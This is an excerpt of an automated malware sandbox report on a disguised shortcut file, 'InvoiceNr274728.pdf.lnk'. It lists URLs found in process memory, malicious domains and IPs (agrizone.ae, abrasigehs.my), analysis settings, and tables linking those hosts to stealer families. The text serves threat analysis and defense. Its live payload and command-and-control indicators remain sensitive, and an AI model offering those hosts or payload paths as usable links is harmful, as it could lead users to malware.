https://abrasigehs.my/c	explorer.exe, 00000016.00000003.2974536491.0000000005778000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.e	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000006.00000003.2123573315.000001F177580000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr	false		high
https://agrizone.ae/wp-co	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerpDa	mshta.exe, 00000005.00000002.2451901263.000001AF024E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerProcess	WMIC.exe, 00000000.00000002.2073695507.0000023361544000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler-	mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://abrasigehs.my/	explorer.exe, 00000016.00000003.3053498235.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2950039193.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3029923428.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2975104398.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2975773961.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997538686.000000000577B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3052686629.0000000002B09000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2949962033.0000000002B04000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997660323.000000000577B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://agrizone.ae/wp-content/plugins/jetpack	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerW6432=C:	WMIC.exe, 00000000.00000002.2073869685.00000233616B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJC	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JI	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJ	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerhttps://agrizone.ae/wp	mshta.exe, 00000005.00000003.2448363881.000001B7091E5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBEX.ex	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://abrasigehs.my/9J	explorer.exe, 00000016.00000003.2950039193.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://agrizone.ae/wp-content/plugins/jet	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCB	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://abrasigehs.my/qqBYYD	explorer.exe, 00000016.00000003.3107104829.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3110531498.000000000578A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.2246634128.00000192BCBC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugins/jetpack/modu	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-con	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerP	mshta.exe, 00000005.00000003.2446767707.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2441291898.000001AF022CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugins/jetpa	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerC:	mshta.exe, 00000005.00000003.2440821106.000001AF0237C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451529548.000001AF02290000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2446192997.000001AF0237E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2438706994.000001AF02370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451873533.000001AF0237F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerZ	mshta.exe, 00000005.00000003.2445424334.000001B704E45000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2440688205.000001B704E43000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2452872393.000001B704E45000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-c	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000006.00000002.3329816598.000001F177800000.00000004.00000020.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlere	mshta.exe, 00000005.00000003.2446767707.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2441291898.000001AF022CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	explorer.exe, 00000016.00000003.2997744307.000000000580D000.00000004.00000001.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugins/je	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	explorer.exe, 00000016.00000003.2998689017.0000000005A29000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.2246634128.00000192BCDEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/p	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerTrue	WMIC.exe, 00000000.00000002.2073613193.0000023361517000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000003.2072030517.0000023361512000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000000.00000003.2072805538.0000023361517000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIK	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/lik	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3107794448.0000000002AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2950039193.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3028941113.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3030211011.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3053185280.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	pyexec.exe, 0000000E.00000002.2488795527.0000000008881000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.0000000008882000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.000000000504A000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.0000000004595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/plugin	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler8	mshta.exe, 00000005.00000002.2451618316.000001AF02304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2439778155.000001AF02304000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://abrasigehs.my/J	explorer.exe, 00000016.00000003.3052686629.0000000002B09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.info-zip.org/	pyexec.exe, 0000000E.00000002.2488795527.000000000882B000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000013.00000002.2720823161.000000000882C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000014.00000002.2899223188.0000000005002000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109346019.000000000454D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/wp-content/	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerE	mshta.exe, 00000005.00000002.2451529548.000001AF02290000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerF	mshta.exe, 00000005.00000003.2446767707.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.2441291898.000001AF022CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.2451587198.000001AF022CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modul	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/li	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://abrasigehs.my/pi	explorer.exe, 00000016.00000003.3024596467.000000000578A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.3024357079.0000000005785000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandlerH	mshta.exe, 00000005.00000002.2451463945.000001AF02210000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/likes/JIKJCBE	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	false		high
https://agrizone.ae/wp	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://abrasigehs.my/apiEAyUo	explorer.exe, 00000016.00000003.2996975001.000000000577E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997140802.0000000005789000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997355107.000000000578B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2997877231.000000000578B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://agrizone.ae/	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/module	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.2346967021.00000192CCC34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://agrizone.ae/w	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://abrasigehs.my/apier	explorer.exe, 00000016.00000003.3108257959.0000000002B1F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.3109091243.0000000002B1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://agrizone.ae/wp-content/plu	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 00000016.00000003.2951201222.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951388431.0000000005738000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000003.2951073384.000000000573B000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	JIKJCBEX.exe, 0000000D.00000003.2236338133.000000000277A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe.13.dr	false		high
https://agrizone.ae/wp-content/plugins/jetpack/modules/l	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/pl	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler$global:?	powershell.exe	false	Avira URL Cloud: safe	unknown
https://agrizone.ae/wp-content/plugins/jetpack/modules	powershell.exe, 00000007.00000002.2246634128.00000192BD264000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.91.198.106	agrizone.ae	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	true
104.21.64.1	abrasigehs.my	United States		13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576131
Start date and time:	2024-12-16 15:17:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	InvoiceNr274728.pdf.lnk
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winLNK@36/59@5/3
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 83% Number of executed functions: 50 Number of non-executed functions: 423
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 92.122.16.141, 172.64.41.3, 162.159.61.3, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 199.232.210.172, 23.195.39.65, 184.30.20.134, 23.32.239.56, 2.19.198.27, 23.32.239.65, 23.32.239.9, 2.19.198.16, 2.19.198.10, 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Execution Graph export aborted for target mshta.exe, PID 7112 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1892 because it is empty
Execution Graph export aborted for target pyexec.exe, PID 2276 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: InvoiceNr274728.pdf.lnk

Simulations

Behavior and APIs

Time	Type	Description
09:18:00	API Interceptor	1x Sleep call for process: WMIC.exe modified
09:18:05	API Interceptor	2x Sleep call for process: svchost.exe modified
09:18:06	API Interceptor	1x Sleep call for process: mshta.exe modified
09:18:07	API Interceptor	39x Sleep call for process: powershell.exe modified
09:18:23	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
09:19:23	API Interceptor	1x Sleep call for process: cmd.exe modified
09:19:26	API Interceptor	7x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.91.198.106	http://bh-2.webhostbox.net/	Get hash	malicious	Unknown	Browse	bh-2.webhostbox.net/
104.21.64.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	adsfirm.com/administrator/index.php
104.21.64.1	PO2412010.exe	Get hash	malicious	FormBook	Browse	www.bser101pp.buzz/v89f/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
abrasigehs.my	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	104.21.112.1
bg.microsoft.map.fastly.net	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	199.232.210.172
	HA9wRLGT9y.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	8Bd1K3FM7v.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	199.232.214.172
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	199.232.210.172
	jignesh.exe	Get hash	malicious	Quasar	Browse	199.232.214.172
	skibidi.exe	Get hash	malicious	Quasar	Browse	199.232.214.172
	vanilla.exe	Get hash	malicious	Quasar	Browse	199.232.214.172
	ImageMso.Gallery.xll	Get hash	malicious	Unknown	Browse	199.232.210.172
	Setup.msi	Get hash	malicious	Vidar	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.53.42.63
	s0zqlmETpm.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Quote_8714.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	S1a5ZF3ytp.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	h0UP1BcPk5.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Ti5nuRV7y4.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	m30zZYga23.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
CLOUDFLARENETUS	https://qidinfissi.powerappsportals.com/	Get hash	malicious	Unknown	Browse	104.18.3.157
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.50.161
	arm.elf	Get hash	malicious	Unknown	Browse	162.159.133.234
	https://iwr.soundestlink.com/ce/c/676002d8893d08b60d0548a9/67600e317a8dc234ff2c418f/67600e4e1033e9cdafe04236?signature=d71ee5ef2af4c3905acd300a8f3b595d0164d440b8def5e7254a839fa6b579a9	Get hash	malicious	Unknown	Browse	172.64.145.78
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	https://simatantincendi.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://business.livechathelpsuite.com	Get hash	malicious	Unknown	Browse	172.67.163.209
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	208.91.198.106
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	208.91.198.106
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.198.106
	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	208.91.198.106
	KASHI SHIP PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.106
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	208.91.198.106
	#U00d6deme tavsiyesi.pdf.exe	Get hash	malicious	Unknown	Browse	208.91.198.106
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	208.91.198.106
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse	208.91.198.106
	ZppxPm0ASs.exe	Get hash	malicious	Xmrig	Browse	208.91.198.106
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	54FApnc7eR.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	104.21.64.1
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	104.21.64.1
	1734347766284d20dc9a2ac535c59f41881efe888891552ad79abf01710e07a6dadfae2b13366.dat-decoded.exe	Get hash	malicious	Unknown	Browse	104.21.64.1
	h.html	Get hash	malicious	Unknown	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	UUH30xVTpr.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.1
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	yYJUaOwKa8.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
37f463bf4616ecd445d4a1937da06e19	nB52P46OJD.exe	Get hash	malicious	Vidar	Browse	208.91.198.106
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	208.91.198.106
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	208.91.198.106
	njrtdhadawt.exe	Get hash	malicious	Stealc, Vidar	Browse	208.91.198.106
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	208.91.198.106
	InvoiceNr274728.pdf.lnk	Get hash	malicious	Unknown	Browse	208.91.198.106
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	208.91.198.106
